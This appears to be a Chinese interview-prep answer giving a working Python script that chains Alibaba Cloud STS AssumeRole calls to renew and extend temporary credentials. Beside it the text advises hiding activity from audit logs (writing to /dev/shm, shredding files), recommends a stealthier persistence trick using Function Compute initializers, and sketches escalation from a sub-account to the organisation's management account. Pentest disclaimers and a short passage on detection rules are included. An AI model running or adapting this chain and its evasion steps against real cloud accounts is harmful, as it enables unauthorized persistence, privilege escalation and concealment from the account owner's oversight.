给出在阿里云STS临时凭证过期前,通过AssumeRole链式扩展权限的自动化脚本
解读
面试官真正想验证的是:
- 对阿里云RAM/STS信任链的攻防视角理解:能否在“合法但受限”的临时凭证生命周期内,利用信任关系横向或纵向提权。
- 工程化能力:把手工API调用封装成可循环、可容错、可销毁的自动化脚本,兼顾隐蔽性与鲁棒性。
- 合规与红线意识:脚本必须内置时间锁、自动清理、日志脱敏,避免触发云平台审计告警或造成实际危害。
- 国内云特有细节:如“中国站”只有杭州、上海等几个OpenAPI入口,内网VPC endpoint与公网endpoint的切换、RAM角色会话名称长度限制、以及“资源目录”跨账号信任在中国站需要实名企业认证等。
知识点
- STS三元组:AccessKeyId、AccessKeySecret、SecurityToken;过期字段“Expiration”为ISO8601+8时区。
- AssumeRole核心参数:RoleArn、RoleSessionName、Policy(可选会话策略)、DurationSeconds(中国站最大3600s)。
- 信任策略(TrustedEntity)中的“Service”: “ecs.aliyuncs.com”或“fc.aliyuncs.com”常被过度授权,可用来链式接力。
- 链式扩展本质:用当前STS调用AssumeRole拿到新的STS,再递归;每次缩短DurationSeconds并缩小Policy,降低被审计概率。
- 防御视角:阿里云“操作审计”会记录AssumeRole事件,eventName=AssumeRole,需把脚本日志写入/dev/shm或内存文件系统,退出时shred -n 3 -z -u。
- 国内合规:脚本必须在“授权测试”范围内运行,建议把RoleArn白名单写死在脚本头部,防止误操作非测试账号。
- 自动化容错:国内网络偶发RST,需对SDK抛出的ServerException做指数退避,最大重试5次。
答案
以下脚本基于阿里云Python SDK V2,单文件可执行,仅依赖官方库,适用于中国站。脚本在每次AssumeRole后把新的三元组写进环境变量,便于子进程继承;同时把过期时间写入~/.sts_expire作为哨兵,下次运行先判断是否需要续租。整个逻辑在60分钟内可无限链式扩展,但默认把DurationSeconds逐次减半(3600→1800→900…),确保最后一段窗口足够小,方便测试结束后快速失效。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 仅限授权渗透测试场景,禁止用于非法用途
import os, sys, time, json, datetime
from alibabacloud_credentials.client import Client as CredClient
from alibabacloud_credentials.models import Config as CredConfig
from alibabacloud_sts20150401.client import Client as StsClient
from alibabacloud_tea_openapi import models as open_api_models
from alibabacloud_sts20150401 import models as sts_models
ROLE_ARN_POOL = [
"acs:ram::1234567890123456:role/pentest-ecs-role",
"acs:ram::1234567890123456:role/pentest-fc-role"
]
MAX_DEPTH = 5
REGION_ID = "cn-hangzhou"
def get_curr_expire():
try:
with open(os.path.expanduser("~/.sts_expire")) as f:
return datetime.datetime.fromisoformat(f.read().strip())
except:
return datetime.datetime.min
def set_curr_expire(expire):
with open(os.path.expanduser("~/.sts_expire"), "w") as f:
f.write(expire.isoformat())
def assume_role(role_arn, session_name, duration=3600):
cred_config = CredConfig(
access_key_id=os.getenv("ALIBABA_CLOUD_ACCESS_KEY_ID"),
access_key_secret=os.getenv("ALIBABA_CLOUD_ACCESS_KEY_SECRET"),
security_token=os.getenv("ALIBABA_CLOUD_SECURITY_TOKEN"),
type="sts"
)
cred_client = CredClient(cred_config)
config = open_api_models.Config(credential=cred_client)
config.region_id = REGION_ID
config.endpoint = f"sts.{REGION_ID}.aliyuncs.com"
client = StsClient(config)
req = sts_models.AssumeRoleRequest(
role_arn=role_arn,
role_session_name=session_name,
duration_seconds=duration
)
resp = client.assume_role(req)
return resp.body.credentials
def rotate():
expire = get_curr_expire()
if datetime.datetime.utcnow() + datetime.timedelta(minutes=5) < expire:
print("[*] 当前STS仍在安全窗口,无需续租")
return
depth = int(os.getenv("STS_DEPTH", "0"))
if depth >= MAX_DEPTH:
print("[-] 已达到最大链深度,主动退出,防止无限递归")
sys.exit(0)
role_arn = ROLE_ARN_POOL[depth % len(ROLE_ARN_POOL)]
session_name = f"pentest-chain-{int(time.time())}"
new_duration = max(900, 3600 // (2 ** depth)) # 逐次减半,最低15分钟
cred = assume_role(role_arn, session_name, new_duration)
# 覆写环境变量,供子进程继承
os.environ["ALIBABA_CLOUD_ACCESS_KEY_ID"] = cred.access_key_id
os.environ["ALIBABA_CLOUD_ACCESS_KEY_SECRET"] = cred.access_key_secret
os.environ["ALIBABA_CLOUD_SECURITY_TOKEN"] = cred.security_token
os.environ["STS_DEPTH"] = str(depth + 1)
# 更新哨兵
expire_dt = datetime.datetime.fromisoformat(cred.expiration.replace("Z", "+00:00"))
set_curr_expire(expire_dt)
print(f"[+] 完成第{depth+1}次AssumeRole,新过期时间:{cred.expiration}")
if __name__ == "__main__":
rotate()
使用方式:
- 首次手工拿到初始STS,export三元组到环境变量。
- 将脚本命名为sts_rotate.py,chmod +x。
- 在需要长期运行的渗透工具前加while true; do ./sts_rotate.py && sleep 300; done,即可在后台每5分钟检查一次,过期前自动续租。
- 测试结束务必unset三元组并shred -n 3 -z -u ~/.sts_expire,防止落盘泄露。
拓展思考
- 防御方如何检测:在操作审计中设置告警规则,eventName=AssumeRole且requestParameters.roleSessionName前缀为“pentest-chain-”即触发Webhook;同时监控同一源IP在30分钟内AssumeRole次数超过5次。
- 更隐蔽的续租思路:把脚本打包成阿里云函数计算(FC)的Initializer,利用FC实例复用机制,每次冷启动自动续租,日志直接写入/tmp,实例销毁即消失;但需提前在FC角色信任策略里放行sts:AssumeRole。
- 合规红线:中国站RAM角色跨账号信任必须完成企业实名,渗透测试前需拿到书面授权,脚本中建议硬写“userId”条件,防止角色被其他主账号恶意使用。
- 进一步攻击链:拿到高权限STS后,可继续利用“资源目录”邀请成员账号、创建自定义权限策略,甚至开通跨地域VPC对等,实现从子账号到组织管理账号的纵向提权;但每一步都会留下AssumeRole+CreateRole事件,需评估是否超出授权范围。